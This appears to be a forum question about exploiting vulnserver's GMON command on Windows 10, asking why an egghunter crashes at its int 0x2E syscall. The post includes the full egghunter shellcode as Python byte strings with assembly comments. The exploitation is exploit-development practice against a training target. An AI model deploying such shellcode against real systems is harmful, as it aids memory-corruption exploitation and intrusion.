Crash on "int 0x2E" instruction

While trying to exploit vulnserver (GMON), on Windows 10, using an egghunter, the program crashes in the instruction int 0x2E of the egghunter.The exploit works if I use jumps.

Does someone know if there is any issue or protection with the int 0x2E and int 0x80 instructions on Windows 10?

Egghunter code:

egghunter = ""egghunter += "\x66\x81\xCA\xFF\x0F" # or dx, 0x0fffegghunter += "\x42"                 # inc edxegghunter += "\x52"                 # push edxegghunter += "\x6A\x02"             # push 0x2egghunter += "\x58"                 # pop eaxegghunter += "\xCD\x2E"             # int 0x2eegghunter += "\x3C\x05"             # cmp al, 0x5egghunter += "\x5A"                 # pop edxegghunter += "\x74\xEF"             # jz 0x0egghunter += "\xB8\x6e\x6f\x70\x65" # mov eax, 0x6e6f7065egghunter += "\x8B\xFA"             # mov edi,edxegghunter += "\xAF"                 # scasdegghunter += "\x75\xEA"             # jnz 0x5egghunter += "\xAF"                 # scasdegghunter += "\x75\xE7"             # jnz 0x5egghunter += "\xFF\xE7"             # jmp edi